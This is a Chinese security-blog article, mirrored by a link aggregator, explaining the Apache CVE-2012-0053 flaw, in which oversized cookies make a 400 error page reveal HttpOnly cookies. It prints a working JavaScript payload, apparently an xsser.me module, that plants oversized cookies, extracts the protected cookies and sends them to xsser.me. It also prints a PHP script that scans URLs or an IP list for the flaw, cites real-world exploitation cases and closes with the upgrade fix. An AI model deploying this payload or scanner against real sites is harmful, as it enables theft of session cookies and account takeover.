7

CVE-2012-0053详解 | WooYun知识库

 6 years ago
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

CVE-2012-0053详解

0x00 背景


Apache服务器2.2.0-2.2.21版本存在一个漏洞(CVE-2012-0053),攻击者可通过给网站植入超大的Cookie,使得HTTP头超过apache的LimitRequestFieldSize(最大请求长度)4192字节,apache便会返回400错误,状态页中就包含了http-only保护的cookies。

0x01 详情


老外在exploit-db上公布了测试apache站点是否有这个问题的js代码。

http://www.exploit-db.com/exploits/18442/

代码稍微改一下就可以是一个收取cookie的exp了,看一下xsser.me的模块:

#!javascript
function setCookies() {
    /*apache server limit 8192*/
    var str = "";
    for (var i = 0; i < 819; i++) {
        str += "x";
    }
    for (i = 0; i < 10; i++) {
        var cookie = "ray" + i + "=" + str + ";path=/";
        document.cookie = cookie;
    }
}
function parseCookies() {
    if (xhr.readyState === 4 && xhr.status === 400) {
        var content = xhr.responseText.replace(/\r|\n/g, '').match(/<pre>(.+)<\/pre>/);
        content = content[1].replace("Cookie: ", "");
        cookies = content.replace(/ray\d=x+;?/g, '') try {
            var myopener = '';
            myopener = window.parent.openner.location;
            var myparent = '';
            myparent = window.parent.location;
        } catch(err) {
            myopener = '0';
            myparent = '0';
        }
        window.location = 'http://xsser.me/index.php?do=api&id={projectId}&location=' + escape(document.location) + '&toplocation=' + escape(myparent) + '&cookie=' + escape(cookies) + '&opener=' + escape(myopener);
    }
}
setCookies();
var xhr = window.XMLHttpRequest ? new XMLHttpRequest() : window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("POST", "/?" + Math.random(), true);
xhr.send(null);

在执行这段代码后,会种下10个819字节长的cookie,使得请求头超过最大请求长度,然后发起一次POST请求,待服务器返回400错误后从状态页中正则提取出经http-only保护的cookies。

2013081413015999698.png

0x02 危害


关于此漏洞的利用,乌云上也有相关案例,如:

WooYun: 腾讯分站 Apache 漏洞

其实最经典的案例要数这个了:

WooYun: XSS漏洞渗透新浪微博《头条新闻》账号

微博本身重要的cookie都设置了httponly,但是有一个域名下有这个apache漏洞。

刚好也有一个flash的xss,导致了此事件的发生。

0x03 后续


这个漏洞再次证明了:

本来是一个正常的功能,可因为设计不当成了XSS的帮凶。

下面的代码是之前的简单的写了一个验证是否存在这个漏洞的php脚本。

各位有需要的可以拿去使用下,现在估计存在这个问题的不多了,去年刚出来的时候可是大片存在。

#!php
<?php

//生成构造特殊cookie
function cookie () {
    $str = "";
    for ($i=0; $i< 819; $i++) {
        $str .= "x";
    }
    $cookie= "secdragon=secdragon;path=/";
    for ($i = 0; $i < 10; $i++) {
         $cookie .= "xss".$i."=".$str.";path=/";
    }
    return $cookie;
    }

//获取url,发包判断返回状态及结果
function my_get_http_result($url){
    if (empty($url)){
      return false;
    }
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "$url");
    curl_setopt($ch, CURLOPT_TIMEOUT, 30); 
    curl_setopt($ch, CURLOPT_HEADER, 0); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch, CURLOPT_COOKIE, cookie());
    $result = curl_exec($ch);
    $info = curl_getinfo($ch);
    curl_close($ch);
    if( $info['http_code'] == "400" )
        return $result;
    else{
        return '';
    }
}

//判断是否成功获取cookie
function check($url){
    $a=my_get_http_result($url);
    if(strpos($a,'secdragon=secdragon'))
        echo $url.':success!'."<br/>";
    else{
        echo $url.':failed!'."<br/>";
    }
}

//获取需检测ip,也可将ip放在同目录下的ip.txt中,一行一个ip
$url=(@$_GET['url'])?$_GET['url']:@$argv[1];
if(!$url){
    $fp=fopen('ip.txt','r+');
    while($ipstr=fgets($fp)){
        if(preg_match('#[\w\.]+#',$ipstr,$match)){
            check($match[0]);
        }
    }
}else{
    check($url);
}

?>

0x04修复方式

Apache2.2.22及以上版本已经修复此问题,升级即可解决。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK